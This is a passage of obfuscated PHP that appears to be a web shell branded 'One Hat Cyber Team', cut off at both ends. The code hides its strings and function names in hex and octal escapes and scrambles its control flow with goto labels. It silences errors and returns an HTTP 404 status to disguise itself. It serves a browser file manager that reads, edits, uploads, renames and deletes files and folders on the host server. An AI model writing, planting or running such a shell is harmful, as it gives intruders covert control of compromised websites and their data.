0x8000)) { goto zIUdf; } goto ZjeVr; jphQA: SoToc: goto nKEdw; KOXs1: tPwHT: goto YHcDD; PR2BP: zIUdf: goto A3WMM; otWx5: $lE = "\x75"; goto kLO5U; EdX4F: if (!(($Jd & 0x4000) == 0x4000)) { goto SoToc; } goto a0iTu; BMObp: $lE .= $Jd & 0x80 ? "\167" : "\55"; goto uN3A5; l48bI: goto BDLif; goto oqOEA; wEWqy: DSca2: goto rGNN8; DNxB7: if (!(($Jd & 0x1000) == 0x1000)) { goto NZDZ0; } goto ilQKi; uN3A5: $lE .= $Jd & 0x40 ? $Jd & 0x800 ? "\x73" : "\170" : ($Jd & 0x800 ? "\123" : "\55"); goto tISrq; UWWll: goto OTKPa; goto GYiif; N1Dtg: $lE .= $Jd & 0x100 ? "\162" : "\x2d"; goto BMObp; T8j0w: if (!(($Jd & 0xc000) == 0xc000)) { goto DSca2; } goto XuXN8; XuXN8: goto tPwHT; goto wEWqy; hjz5U: goto Qxl4a; goto aQqQF; ilQKi: goto wUPiF; goto lW0lD; sSQX4: OTKPa: goto XpXso; hiN2A: $lE = "\143"; goto oofvc; Ad9mp: $lE = "\144"; goto kSaVg; YHcDD: $lE = "\163"; goto huuz4; yFMrk: Qxl4a: goto N1Dtg; GC653: goto Qxl4a; goto l2o3k; U5w5P: } goto P25a0; gbyid: $currentDir = getcwd(); goto JkfzH; yzR0z: echo "\74\x68\65\40\143\x6c\x61\163\x73\75\42\x70\55\x31\40\162\x61\151\x6e\x62\x6f\x77\x2d\x62\x6f\162\144\x65\x72\x22\40\163\164\x79\154\145\75\42\164\145\170\x74\55\x61\154\x69\147\156\72\40\x63\145\156\x74\x65\162\x3b\x22\76\105\144\x69\164\40\x4e\141\155\141\x20\106\x69\154\145\72\40\74\146\157\x6e\164\40\143\x6f\154\x6f\162\x3d\42\x77\150\x69\x74\145\x22\76"; goto CmQdn; GAJ_p: goto WuWzI; goto V60JP; lAGVG: lVpvL: goto MhAYt; Y6O3j: YepRA: goto gQPY8; hgzvg: Xe("\107\141\147\x61\x6c\x20\155\145\x6e\x67\165\142\x61\150\x20\x69\x7a\x69\156", 0); goto Nc198; UYCID: error_reporting(0); goto M5v3C; l8csR: cHfGd: goto ANEwH; pUQui: echo "\74\57\x73\x70\x61\x6e\x3e\74\57\154\x69\76\xd\12\74\154\151\76\x53\145\x72\x76\x65\162\40\72\40\74\163\x70\141\x6e\40\x73\164\171\x6c\145\75\x22\143\157\x6c\x6f\162\72\40\167\150\151\x74\145\x3b\42\76"; goto CgOkh; raqMq: if (!isset($_POST["\x63\162\x65\141\x74\145\137\146\x6f\x6c\x64\145\162"])) { goto nRhJi; } goto f5aRU; ks9gk: echo jD($_GET["\x6e"]); goto uiNll; cU25L: $G3 = $c8[5]($G3($Jd), ["\x2e", "\x2e\56"]); goto QUero; a5Rw_: GRYEX: goto h0yNe; tqIqH: Xe("\x66\x61\151\x6c\x65\x64\x20\164\157\40\x64\x65\x6c\x65\164\145\40\164\150\145\40\146\157\x6c\x64\145\x72", 0); goto qWFN0; ZB075: goto hodfB; goto e7SSd; l6lHy: $folderPath = "{$currentDir}\57{$folderName}"; goto DmZNj; klVg8: echo "\x3c\x74\x61\142\x6c\x65\x20\143\x6c\x61\163\163\x3d\x22\164\x61\x62\154\x65\40\x74\x61\x62\x6c\145\55\x68\157\x76\x65\x72\40\164\x61\142\154\145\x2d\142\157\x72\x64\145\x72\x6c\x65\x73\x73\40\x74\x61\x62\x6c\x65\55\x73\155\x22\x20\163\x74\x79\154\145\75\x22\164\x65\x78\x74\x2d\x61\154\151\147\156\x3a\x20\143\145\x6e\164\145\x72\73\167\151\144\164\x68\72\x20\x31\x30\x30\45\73\x22\x3e\xd\xa\74\164\x68\145\x61\x64\x20\x63\154\x61\163\163\x3d\42\164\145\170\x74\x2d\154\x69\147\150\164\42\76\15\xa\x3c\164\x72\76\xd\12\74\164\150\x20\x73\x74\x79\x6c\145\x3d\42\x77\x69\144\x74\150\72\40\64\65\45\73\x22\76\116\x61\155\x65\x3c\x2f\x74\x68\x3e\xd\xa\74\164\150\x20\163\x74\171\154\145\75\x22\x77\x69\x64\164\x68\x3a\x20\61\x33\45\x3b\42\x3e\123\x69\172\x65\74\x2f\164\x68\76\xd\xa\74\x74\150\40\163\x74\171\154\145\x3d\x22\167\x69\x64\x74\150\72\40\61\63\x25\73\x22\76\x50\x65\162\155\151\163\x73\x69\x6f\156\74\57\x74\x68\76\xd\12\x3c\164\150\x20\x63\157\x6c\163\160\x61\x6e\x3d\x22\63\x22\x3e\x41\143\x74\x69\157\156\74\x2f\x74\x68\x3e\15\12\74\x2f\x74\162\76\15\xa\74\57\164\150\x65\x61\x64\76\xd\12\x3c\x74\x62\157\144\x79\x20\143\154\x61\163\x73\x3d\42\164\x65\x78\164\x2d\154\x69\147\150\164\x22\x3e\x20"; goto cU25L; epYd3: $newName = $_POST["\x6e\145\x77\x5f\146\x69\154\145\137\156\141\155\x65"]; goto f7MJK; iOZrz: $fileName = $_POST["\146\151\x6c\x65\137\156\141\x6d\145"]; goto lBivr; xc4pX: $BL = $Jd . "\57" . jd($_GET["\x6e"]); goto aTsk5; iJrKt: goto llzId; goto PBWDG; z47JB: goto WuWzI; goto S2fjQ; Pou2M: XR5kC: goto hky0H; qZkE2: $G3 = "\x73\x63\141\156\x64\151\162"; goto VYu6Z; V4aUK: nhGdW: goto xc4pX; e7SSd: dT1Z5: goto qMY7j; I4Mr8: YmvX_: goto IP9JK; ZZiIv: if (!($index < $totalFiles)) { goto seOwc; } goto GIuA3; yexD7: seOwc: goto gjAvo; TR99t: $uploadedFiles = $_FILES["\146"]["\x6e\x61\155\145"]; goto CzeEQ; Lm_zM: l07qe: goto ImbKT; dJDOB: hodfB: goto X4MLJ; M5v3C: set_time_limit(0); goto ppUof; y8gBw: function Ss($SP) { goto VFIvz; UxKJ8: vxoby: goto x5OgC; YNm8N: XGek7: goto Q9fln; n9px0: ltYIR: goto BZWFo; aBxNw: goto h3xPx; goto YNm8N; zSA_R: $lE = 0; goto UxKJ8; Fyu82: return $dE; goto KN0eH; Acvg3: h3xPx: goto Fyu82; VFIvz: $dE = ''; goto zSA_R; tVInM: goto vxoby; goto Acvg3; BZWFo: $lE++; goto tVInM; Q9fln: $dE .= dechex(ord($SP[$lE])); goto n9px0; x5OgC: if ($lE < strlen($SP)) { goto XGek7; } goto aBxNw; KN0eH: } goto fRdU4; sZ6bB: echo "\x3c\x68\65\40\143\x6c\141\163\x73\75\42\x70\x2d\x31\x20\162\141\151\156\x62\x6f\x77\55\x62\157\x72\144\145\x72\42\x20\163\164\x79\154\x65\75\x22\x74\x65\170\x74\x2d\141\x6c\x69\x67\156\72\40\x63\x65\x6e\164\x65\x72\x3b\42\x3e\x4e\141\155\x61\x20\x46\151\x6c\x65\40\102\x61\x72\165\x20\72\x3c\x2f\150\x35\x3e\15\xa\74\146\x6f\162\155\x20\x6d\x65\164\150\157\144\x3d\x22\x70\x6f\163\164\x22\x3e\15\xa\x20\x20\x20\40\x3c\x64\x69\166\x20\x63\x6c\141\163\163\x3d\x22\146\157\162\x6d\55\147\162\157\165\160\42\x3e\xd\xa\x20\40\40\40\40\40\x20\40\x3c\x69\156\x70\165\164\x20\164\x79\160\145\75\42\x74\145\170\x74\x22\x20\x6e\141\x6d\x65\x3d\x22\146\x69\154\145\x5f\156\x61\x6d\x65\42\x20\151\144\x3d\x22\146\151\x6c\x65\x5f\156\x61\155\x65\x22\x20\x63\x6c\x61\x73\x73\75\x22\x62\x6f\x72\x64\x65\x72\x20\160\55\x31\42\40\x73\164\171\x6c\x65\75\42\164\x65\x78\x74\55\x61\154\x69\x67\156\x3a\x20\143\145\156\x74\x65\x72\73\x22\76\xd\12\x20\40\x20\x20\74\57\144\151\166\76\xd\xa\40\40\40\x20\74\144\x69\166\40\x63\154\x61\163\163\x3d\42\x66\x6f\162\x6d\55\147\162\157\x75\160\42\x3e\xd\xa\x20\x20\x20\40\x20\40\x20\x20\x3c\x74\x65\170\x74\x61\x72\x65\x61\x20\163\x74\x79\x6c\x65\75\42\x72\145\163\151\172\145\72\156\157\x6e\x65\x22\40\156\141\155\145\75\x22\x66\151\154\145\137\143\x6f\x6e\164\x65\x6e\164\x22\40\151\144\x3d\x22\146\x69\x6c\x65\137\143\157\x6e\x74\145\x6e\x74\x22\x20\x63\x6f\x6c\163\75\42\63\60\42\x20\x72\x6f\x77\x73\75\42\x31\60\42\40\x63\x6c\141\x73\163\75\x22\146\x6f\162\155\x2d\x63\157\x6e\164\x72\x6f\154\x20\x72\x61\x69\x6e\142\157\x77\55\142\x6f\162\x64\145\162\x22\x3e\74\x2f\164\145\x78\x74\x61\162\x65\141\x3e\15\xa\40\x20\x20\40\74\57\x64\x69\x76\76\xd\xa\x20\40\40\x20\x3c\144\151\166\40\143\x6c\141\x73\163\x3d\42\146\x6f\162\155\x2d\147\x72\x6f\165\160\42\40\163\164\x79\x6c\x65\x3d\x22\155\141\x72\x67\151\x6e\55\164\157\160\x3a\40\61\60\160\x78\x3b\42\x3e\15\12\40\40\40\x20\40\40\x20\40\x3c\x62\165\164\164\x6f\x6e\40\164\171\x70\145\x3d\42\x73\x75\x62\155\x69\164\x22\40\x6e\x61\x6d\x65\75\x22\x63\x72\x65\141\x74\145\137\146\151\x6c\x65\42\40\143\154\x61\163\163\75\x22\157\150\x63\164\x22\x3e\x43\162\145\x61\x74\145\74\x2f\x62\165\x74\x74\157\156\76\xd\xa\x20\x20\x20\x20\74\x2f\144\x69\166\76\15\12\74\57\146\157\162\155\x3e\15\12\xd\12"; goto aRFgz; X4MLJ: goto Bym5W; goto lAGVG; JqxaL: if (mkdir($folderPath)) { goto dT1Z5; } goto BrZJD; g0l1M: SCm92: goto lygUa; ImbKT: xe("\x66\x6f\154\x64\x65\162\40\144\x65\154\145\164\145\144\x20\x73\165\x63\x63\x65\163\x73\x66\165\x6c\x6c\x79"); goto RgCVA; McJVv: echo "\15\12\x3c\x2f\x64\151\x76\x3e\xd\xa\74\x64\x69\166\40\x63\154\x61\163\x73\75\42\x74\x61\x62\154\x65\55\x72\x65\163\160\157\156\163\151\x76\145\x20\164\145\170\x74\55\154\151\147\150\164\40\162\141\x69\x6e\142\157\x77\55\x62\157\162\x64\x65\162\42\x20\x73\x74\171\x6c\145\75\x22\x74\145\x78\164\55\x61\154\x69\147\156\x3a\40\154\145\146\x74\73\x70\x61\x64\x64\151\156\147\72\x20\64\x70\170\x3b\x6d\141\x72\x67\151\x6e\55\x62\157\164\x74\x6f\155\x3a\40\x33\x70\170\x3b\155\x61\162\x67\x69\x6e\x2d\x74\157\160\72\40\63\160\170\x3b\x22\76\xd\12\74\x6c\x69\x3e\x44\151\x72\40\x3a\40\x3c\163\160\141\x6e\76"; goto eJzBg; UGZfs: Bym5W: goto gNdcw; IOs5m: goto JuQTj; goto b1Prt; xYynO: goto CiuOO; goto GrpvM; gjAvo: j8Ne4: goto McJVv; ned6r: if (isset($_GET["\x61"])) { goto DqkC1; } goto g4Bkd; ppUof: http_response_code(404); goto K0vFC; WY826: $fileName = basename(jD($_GET["\156"])); goto Uj6Nn; aTsk5: if (!($_GET["\x74"] == "\x64")) { goto GqE6o; } goto fFAU6; o5NaW: unlink($BL); goto dG_yF; P25a0: function Xe($OB, $Ch = 1, $BL = '') { goto lO7HY; lO7HY: global $Jd; goto Vijni; FfS6u: echo "\x3c\163\x63\162\x69\x70\x74\76\163\x77\141\x6c\50\x7b\x74\151\x74\x6c\145\x3a\40\x22{$xe}\x22\54\x20\164\x65\170\164\x3a\x20\42{$OB}\x22\54\40\151\143\x6f\156\x3a\x20\x22{$xe}\42\175\51\56\x74\150\x65\156\50\50\x62\164\x6e\103\x6c\x69\143\153\51\x20\75\x3e\40\173\151\146\x28\x62\x74\x6e\x43\x6c\x69\143\153\51\173\144\x6f\143\165\x6d\145\156\x74\x2e\x6c\x6f\143\x61\164\151\157\x6e\56\150\x72\145\146\x3d\x22\x3f\160\75" . Ss($Jd) . $BL . "\x22\175\x7d\51\74\x2f\x73\x63\162\151\160\x74\76"; goto JpMfM; Vijni: $xe = $Ch == 1 ? "\x73\165\143\x63\x65\163\x73" : "\145\162\x72\157\x72"; goto FfS6u; JpMfM: } goto nsWn8; VYu6Z: $c8 = ["\67\x30\66\70\67\60\65\146\x37\65\x36\x65\66\x31\66\x64\66\65", "\x37\x30\66\70\x37\60\x37\x36\x36\x35\67\62\x37\63\66\71\66\x66\x36\145", "\66\x37\x36\65\67\x34\x36\x33\x37\x37\66\x34", "\x36\63\x36\x38\x36\64\x36\71\67\x32", "\67\x30\x37\x32\x36\65\66\x37\65\146\x37\63\67\60\66\143\x36\x39\67\64", "\66\61\67\x32\67\62\66\61\67\x39\65\146\66\64\66\71\x36\x36\66\66", "\x36\x39\67\63\65\146\66\64\x36\71\x37\62", "\66\71\x37\63\65\146\x36\x36\66\71\66\143\x36\65", "\66\71\x37\x33\65\x66\67\x37\x37\x32\66\x39\x37\64\66\x31\66\62\66\143\x36\65", "\x36\71\x37\63\x35\x66\67\x32\x36\x35\66\x31\x36\x34\66\61\x36\62\x36\x63\66\65", "\x36\x36\x36\x39\x36\143\66\x35\67\63\66\x39\x37\141\x36\65", "\x36\63\66\x66\x37\x30\x37\71", "\x36\x36\66\x39\66\x63\66\x35\x35\146\x36\65\x37\x38\66\x39\67\63\67\x34\x37\63", "\x36\66\x36\71\66\x63\x36\x35\65\x66\x37\x30\67\x35\x37\x34\65\x66\66\63\66\146\66\145\x37\x34\66\65\66\145\x37\x34\67\63", "\66\66\66\x39\66\x63\x36\65\x35\146\x36\x37\x36\65\x37\64\65\x66\66\x33\66\x66\x36\x65\67\64\66\x35\x36\145\x37\x34\67\63", "\x36\x64\66\x62\66\64\66\71\x37\62", "\x37\x32\66\65\x36\145\66\x31\x36\144\66\x35", "\67\63\67\64\67\62\x37\64\x36\146\x37\x34\x36\71\66\144\x36\x35", "\x36\x38\x37\x34\66\144\66\x63\67\x33\x37\x30\66\x35\66\x33\x36\x39\x36\61\x36\x63\66\x33\66\x38\x36\x31\x37\62\67\x33", "\66\x34\66\x31\67\64\x36\65", "\66\66\66\71\66\143\x36\x35\x36\144\67\x34\x36\71\66\x64\x36\65"]; goto HhbxK; XbO1F: jpk0X: goto ui5BY; ui5BY: $index++; goto s1u_6; fJZSg: auqgv: goto m_WJB; yNbhO: $oldPath = "{$currentDir}\x2f" . jD($_GET["\x6e"]); goto W_YUR; xa4PM: goto SCm92; goto WsTPz; eucg0: xE("\x4e\x61\x6d\x61\40\146\151\154\145\40\164\x65\154\x61\x68\x20\144\x69\147\x75\156\x61\153\141\156", 0, "\x26\x61\75" . SS("\x6e\x65\167\x46\x69\x6c\145")); goto ThB_8; CKeJG: echo "\40\15\xa\74\41\104\117\x43\124\x59\x50\x45\40\150\164\x6d\x6c\x3e\xd\12\x3c\x68\x74\155\154\40\x6c\141\x6e\x67\x3d\x22\145\x6e\x22\76\xd\xa\74\150\x65\x61\x64\76\15\12\x20\x20\40\40\74\x6d\x65\x74\141\x20\160\x72\157\x70\145\x72\164\x79\75\42\x6f\x67\x3a\151\x6d\141\x67\x65\42\x20\143\x6f\156\164\x65\x6e\164\75\x22\57\57\x69\56\x69\155\147\165\162\x2e\143\157\x6d\x2f\x72\x72\x6f\124\120\x42\113\x2e\152\x70\x65\147\42\76\xd\xa\40\40\x20\x20\74\x6d\145\164\x61\40\160\x72\x6f\160\145\x72\x74\x79\x3d\x22\x6f\147\72\x74\x69\164\x6c\145\x22\40\143\x6f\156\x74\x65\x6e\164\75\x22\117\x6e\145\40\x48\141\164\x20\103\x79\x62\x65\x72\40\124\145\141\x6d\42\x3e\xd\12\x20\x20\40\40\74\155\145\164\x61\x20\x70\x72\x6f\x70\145\x72\164\171\x3d\42\157\147\x3a\x64\x65\x73\x63\162\151\160\x74\x69\x6f\156\x22\x20\143\x6f\156\164\145\x6e\x74\x3d\x22\102\171\x20\115\162\56\x43\x6f\x6d\142\145\x74\42\x3e\xd\xa\x20\x20\40\40\x3c\155\x65\x74\x61\x20\156\x61\155\145\x3d\x22\164\x68\x65\x6d\145\55\x63\x6f\154\x6f\x72\42\40\x63\157\156\164\145\x6e\x74\x3d\x22\43\x30\x30\142\x66\146\146\x22\x3e\xd\xa\x20\40\40\x20\74\x6d\x65\x74\141\40\x6e\141\155\x65\75\42\x76\x69\x65\x77\160\x6f\x72\164\x22\x20\x63\x6f\x6e\164\145\x6e\x74\75\x22\x77\x69\x64\164\150\x3d\144\x65\166\x69\143\x65\x2d\x77\151\x64\164\150\54\40\151\x6e\151\x74\151\x61\x6c\55\x73\143\x61\x6c\x65\x3d\x30\56\x36\x30\54\40\163\150\x72\151\156\x6b\55\164\157\x2d\x66\x69\x74\75\156\157\42\76\15\12\40\x20\40\x20\74\x74\x69\164\154\145\76\117\156\145\x20\110\x61\164\40\x43\171\142\x65\x72\40\124\x65\x61\155\x3c\57\x74\151\164\x6c\145\76\15\12\40\x20\x20\x20\x3c\154\x69\156\x6b\40\162\x65\x6c\x3d\42\x73\164\171\x6c\x65\163\x68\x65\145\x74\x22\x20\x68\162\x65\x66\x3d\42\x2f\x2f\x63\x64\156\56\x6a\x73\144\145\x6c\151\166\162\56\x6e\x65\164\57\x6e\160\x6d\x2f\x62\157\x6f\164\x73\164\x72\x61\x70\x40\64\56\66\x2e\60\x2f\x64\151\163\164\x2f\x63\163\163\x2f\142\157\x6f\164\163\x74\x72\x61\x70\x2e\155\x69\x6e\56\143\163\163\x22\x3e\xd\xa\40\40\40\x20\x3c\x6c\x69\x6e\x6b\x20\x72\x65\154\75\42\163\164\171\x6c\x65\163\150\x65\145\x74\42\x20\150\x72\x65\146\x3d\42\57\57\x63\x64\156\152\x73\56\x63\x6c\157\x75\144\146\154\141\162\145\x2e\143\x6f\155\x2f\x61\x6a\x61\170\x2f\x6c\151\x62\163\x2f\x66\157\x6e\164\x2d\141\x77\145\x73\157\155\x65\57\x34\x2e\x37\56\x30\x2f\143\163\x73\57\x66\157\x6e\x74\x2d\x61\x77\145\163\157\155\x65\x2e\x6d\151\x6e\56\143\163\x73\x22\x3e\15\12\x20\x20\40\x20\74\154\151\156\x6b\40\162\145\x6c\75\x22\151\x63\157\x6e\42\x20\150\x72\145\146\x3d\42\x2f\x2f\x69\56\x69\x6d\x67\165\x72\x2e\143\157\x6d\x2f\x72\162\x6f\x54\120\x42\113\56\152\x70\145\147\42\76\xd\xa\x20\40\x20\40\74\x73\x74\x79\154\x65\x20\x74\x79\160\x65\x3d\42\164\x65\170\x74\57\x63\163\163\x22\76\xd\xa\100\151\155\x70\x6f\162\x74\x20\x75\x72\x6c\x28\47\150\x74\164\160\x73\x3a\x2f\57\x66\x6f\x6e\x74\x73\56\x67\x6f\x6f\147\x6c\145\141\160\151\163\56\143\x6f\155\x2f\x63\x73\x73\62\x3f\146\141\x6d\151\x6c\171\x3d\101\155\x61\x72\x61\x6e\x74\x68\72\x69\164\x61\x6c\54\x77\147\x68\x74\x40\x30\54\x34\60\x30\73\x30\54\67\x30\60\x3b\x31\x2c\x34\60\60\73\61\54\x37\60\x30\46\x64\x69\x73\160\x6c\x61\171\75\x73\167\141\160\47\x29\x3b\15\xa\142\157\x64\x79\x20\x7b\xd\12\40\40\x20\x20\143\x6f\x6c\x6f\162\72\x20\x62\x6c\x61\x63\x6b\73\xd\xa\40\40\40\x20\x66\157\156\x74\x2d\x73\x69\172\x65\72\40\60\x70\170\x3b\15\12\x20\x20\x20\x20\x66\x6f\156\x74\55\x66\x61\x6d\x69\154\171\x3a\40\47\101\x6d\x61\x72\x61\156\x74\x68\47\73\15\xa\40\40\40\x20\x77\x69\x64\x74\150\72\40\71\x39\x25\x3b\xd\xa\40\40\40\x20\x70\141\144\x64\x69\x6e\147\x3a\40\x30\160\170\x3b\xd\12\40\40\x20\40\155\x61\162\x67\151\x6e\x2d\162\151\147\150\164\72\x20\x61\x75\164\157\73\xd\12\40\40\40\x20\x6d\x61\162\x67\x69\x6e\55\x6c\x65\146\164\x3a\40\141\165\x74\157\x3b\15\12\40\40\40\40\155\x61\x72\147\151\156\x2d\x74\157\x70\x3a\40\x37\x70\x78\x3b\xd\12\40\40\x20\x20\155\141\162\147\151\x6e\55\x62\x6f\x74\x74\157\155\72\40\67\160\x78\73\15\12\40\40\x20\40\142\x61\143\x6b\147\x72\157\x75\x6e\x64\x2d\x63\157\x6c\x6f\162\72\x20\x62\154\141\143\153\x21\x69\155\x70\157\x72\x74\141\x6e\x74\x3b\xd\xa\x7d\xd\12\xd\12\56\x62\147\x2d\x64\x61\x72\x6b\40\173\15\xa\x20\x20\x20\40\142\x61\x63\x6b\147\162\157\165\156\144\x2d\143\157\154\157\162\x3a\x20\142\x6c\141\143\x6b\41\151\155\x70\157\x72\x74\141\156\164\73\15\12\175\15\xa\15\12\56\142\157\162\144\145\x72\40\173\15\xa\40\x20\x20\40\142\157\170\x2d\163\150\x61\144\157\167\x3a\x20\x30\x70\x78\x20\60\x70\x78\40\x31\x30\x70\x78\40\x23\x30\60\142\146\146\x66\x3b\xd\12\40\40\x20\40\x62\x6f\162\x64\145\x72\x3a\40\62\160\x78\x20\163\x6f\154\151\x64\x20\43\60\60\x62\x66\146\146\41\x69\x6d\160\157\162\164\141\156\164\73\xd\xa\40\x20\40\40\142\157\162\144\145\x72\x2d\x72\141\144\151\x75\x73\x3a\x20\x35\160\x78\73\xd\12\40\x20\x20\x20\142\141\143\153\x67\162\x6f\x75\156\x64\x3a\40\164\x72\x61\x6e\163\160\141\162\145\x6e\x74\73\xd\12\x7d\xd\12\15\12\56\142\157\162\144\145\x72\x3a\x68\x6f\x76\145\x72\x20\x7b\15\12\40\40\40\40\x62\157\170\x2d\163\x68\141\x64\157\167\x3a\40\x30\160\x78\40\x30\160\x78\40\x31\60\160\170\40\x23\x30\60\x62\146\x66\x66\x3b\xd\12\40\40\40\x20\142\x6f\x72\x64\x65\x72\x3a\x20\62\x70\170\40\x73\157\x6c\x69\x64\x20\43\60\60\x62\x66\146\x66\x21\x69\x6d\160\157\162\164\141\156\x74\x3b\15\12\x7d\15\xa\xd\12\x2e\164\141\142\x6c\145\40\164\x64\x20\x7b\xd\12\40\40\40\x20\x70\141\x64\x64\151\156\x67\72\40\x30\56\x31\162\145\x6d\x3b\xd\xa\40\40\x20\x20\142\157\x78\55\x73\150\141\144\157\x77\x3a\40\151\156\163\145\164\40\60\x70\170\x20\60\160\170\x20\60\x70\x78\40\61\160\170\40\x23\60\x30\x62\146\146\146\73\xd\12\x20\40\40\x20\142\x6f\x72\144\145\x72\x2d\162\x61\144\151\165\163\x3a\40\62\160\170\x3b\15\xa\x7d\15\xa\xd\12\56\x74\x61\142\x6c\x65\x20\164\x68\145\x61\x64\40\x74\150\x20\173\15\xa\x20\40\x20\x20\146\x6f\x6e\164\55\146\x61\x6d\151\x6c\171\72\40\47\x41\x6d\x61\162\x61\156\164\x68\47\x2c\x20\x63\x75\x72\163\151\x76\145\73\xd\12\40\40\x20\40\x62\157\x78\x2d\x73\150\x61\144\157\167\x3a\40\151\x6e\x73\145\164\40\x30\x70\170\x20\x30\x70\170\40\60\160\170\40\61\56\x35\160\x78\x20\x23\x30\60\x62\146\x66\x66\73\15\xa\40\x20\40\40\143\157\154\x6f\x72\72\x20\43\60\60\x62\x66\x66\146\73\xd\xa\x20\x20\x20\40\x70\141\x64\x64\x69\x6e\x67\72\x20\x30\x2e\62\65\x72\x65\155\73\15\12\x20\x20\x20\40\142\x6f\x72\144\x65\162\x2d\162\x61\x64\x69\165\163\x3a\x20\x35\x70\x78\x3b\15\xa\x20\x20\x20\40\x62\x61\x63\x6b\x67\162\x6f\165\x6e\144\x3a\x20\x6c\151\x6e\145\x61\x72\55\x67\162\141\144\151\x65\x6e\x74\x28\x74\157\x20\142\157\x74\164\157\x6d\54\40\x62\x6c\141\143\x6b\54\x20\x23\x33\146\63\146\x33\146\70\x30\51\x3b\15\12\x7d\xd\12\xd\xa\x2e\x74\141\x62\x6c\x65\55\150\157\166\x65\x72\x20\164\x62\157\x64\171\x20\x74\162\72\x68\x6f\x76\145\x72\x20\164\144\x20\173\xd\xa\40\x20\x20\x20\142\141\143\153\147\x72\x6f\x75\156\144\x3a\40\43\x33\x66\63\x66\x33\146\70\60\73\15\xa\x20\40\x20\x20\142\x6f\x78\x2d\x73\x68\x61\x64\157\x77\x3a\x20\151\x6e\x73\x65\x74\x20\60\x70\170\40\x30\160\x78\40\60\x70\170\40\x31\x70\170\40\43\x30\x30\x62\x66\x66\146\x3b\15\12\40\x20\x20\40\142\157\162\144\145\162\55\x72\141\144\x69\165\163\x3a\x20\62\x70\x78\73\xd\12\x7d\15\12\xd\12\x2e\x74\x61\142\154\x65\55\150\x6f\166\x65\x72\x20\164\x62\157\x64\x79\40\x74\x72\x3a\x68\157\166\x65\162\x20\164\x64\76\x2a\40\x7b\15\xa\175\xd\12\15\12\x2e\x74\x61\x62\x6c\145\x3e\x74\x62\157\x64\x79\x3e\164\162\x3e\52\40\173\15\xa\40\40\x20\40\x63\157\x6c\x6f\162\72\x23\x66\x66\x66\x3b\15\xa\x20\x20\x20\40\166\145\162\164\x69\x63\141\x6c\55\141\x6c\x69\147\x6e\72\x6d\x69\144\x64\x6c\145\73\15\xa\175\xd\xa\15\xa\x2e\x66\x6f\x72\155\55\143\157\156\164\162\157\154\40\x7b\15\xa\40\x20\x20\40\x62\141\143\x6b\147\x72\157\165\x6e\x64\x3a\x30\40\60\x21\x69\155\x70\157\x72\164\141\156\164\x3b\15\12\40\40\40\x20\143\157\154\x6f\x72\72\x23\146\146\146\41\x69\155\x70\x6f\162\164\x61\x6e\x74\x3b\15\12\40\40\x20\x20\x62\157\162\x64\x65\162\x2d\x72\x61\144\x69\x75\x73\72\60\73\15\12\x7d\xd\12\xd\12\56\x66\x6f\x72\155\x2d\143\x6f\x6e\x74\162\x6f\154\x3a\x3a\160\154\x61\x63\145\x68\157\x6c\x64\145\162\x20\173\15\xa\40\40\40\40\x63\157\x6c\x6f\x72\x3a\43\x66\146\146\73\15\xa\40\x20\40\x20\157\x70\141\143\x69\x74\171\72\x31\73\15\12\175\xd\12\15\xa\56\146\157\162\155\x2d\x67\x72\x6f\x75\x70\x20\173\15\xa\x20\40\x20\40\x6d\141\162\147\151\x6e\x2d\164\157\x70\x3a\40\56\63\x72\x65\x6d\x3b\xd\12\x20\40\40\40\155\141\x72\147\x69\156\x2d\142\x6f\164\164\x6f\x6d\x3a\x20\x2e\63\x72\x65\x6d\73\15\xa\x7d\15\xa\xd\xa\x6c\151\x20\173\xd\xa\40\40\x20\40\146\x6f\156\x74\x2d\x73\x69\172\145\x3a\x6c\x61\x72\147\x65\41\151\x6d\x70\157\162\x74\x61\156\164\73\15\xa\40\x20\40\40\143\157\154\x6f\162\72\x20\x23\60\60\142\x66\146\146\41\151\x6d\x70\157\x72\164\141\156\164\73\xd\xa\x20\x20\x20\x20\154\x69\x73\164\x2d\163\164\x79\x6c\145\x3a\40\151\156\x68\145\162\151\x74\x21\151\x6d\160\157\x72\164\x61\x6e\164\x3b\15\xa\x7d\xd\xa\xd\12\141\40\173\xd\12\40\40\40\40\143\x6f\154\x6f\162\x3a\40\x23\x66\x66\x66\x66\146\x66\73\15\xa\x20\x20\x20\40\164\145\x78\164\55\x64\145\x63\x6f\162\141\164\151\x6f\156\72\x20\156\157\156\145\x21\151\x6d\160\x6f\x72\164\x61\x6e\x74\73\xd\xa\175\15\12\15\12\141\x3a\x68\157\166\145\x72\x20\x7b\15\12\40\x20\x20\x20\164\145\170\164\55\x64\x65\x63\157\162\141\x74\151\x6f\x6e\x3a\x20\156\157\x6e\145\x21\151\x6d\x70\x6f\162\x74\141\156\164\x3b\15\xa\x20\40\40\40\143\x6f\154\x6f\162\x3a\40\43\x30\x30\142\x66\146\x66\x3b\15\xa\40\40\40\x20\x61\156\x69\155\x61\x74\151\157\x6e\72\x20\153\145\144\151\x70\x20\61\163\x20\154\151\x6e\145\x61\x72\x20\151\156\146\x69\156\151\x74\145\73\xd\12\x7d\xd\xa\xd\12\150\65\40\173\xd\xa\x20\x20\40\x20\155\x61\x72\147\151\x6e\x2d\164\x6f\160\x3a\40\61\x2e\65\160\170\73\15\12\40\x20\x20\40\155\x61\162\147\151\x6e\55\x62\157\x74\164\x6f\155\x3a\40\x31\56\x35\x70\x78\73\15\12\x20\x20\x20\40\143\157\x6c\157\162\72\x20\x23\60\x30\142\x66\x66\146\x21\151\155\160\x6f\162\164\x61\x6e\164\x3b\15\xa\x20\40\40\40\160\x61\x64\x64\x69\156\x67\x3a\40\62\160\x78\x3b\xd\xa\175\15\xa\xd\xa\164\x65\170\x74\x61\x72\145\141\x20\x7b\15\xa\40\40\x20\40\167\x69\x64\164\150\72\x20\x39\x37\45\73\xd\xa\40\x20\x20\40\x66\x6f\x6e\x74\x2d\x73\x69\172\x65\x3a\40\155\145\144\x69\165\155\x21\x69\x6d\160\x6f\162\x74\x61\x6e\x74\x3b\15\xa\40\40\40\x20\x66\x6f\x6e\164\55\146\x61\x6d\151\154\x79\72\x20\151\156\x68\x65\162\151\164\x3b\xd\12\x20\40\x20\40\x68\145\151\147\x68\164\x3a\x20\x34\x34\x76\150\x3b\15\xa\x20\40\40\x20\160\141\x64\144\151\156\x67\55\x6c\x65\x66\x74\72\40\65\160\x78\x3b\15\12\175\xd\12\15\xa\142\x75\164\x74\157\x6e\54\40\x69\156\x70\165\x74\x20\x7b\15\xa\x20\40\40\40\x62\157\x72\x64\145\162\x3a\x20\x32\x70\170\40\163\x6f\154\x69\144\x20\43\60\60\x62\146\146\146\x3b\xd\12\40\40\40\40\142\x6f\162\x64\145\162\55\x72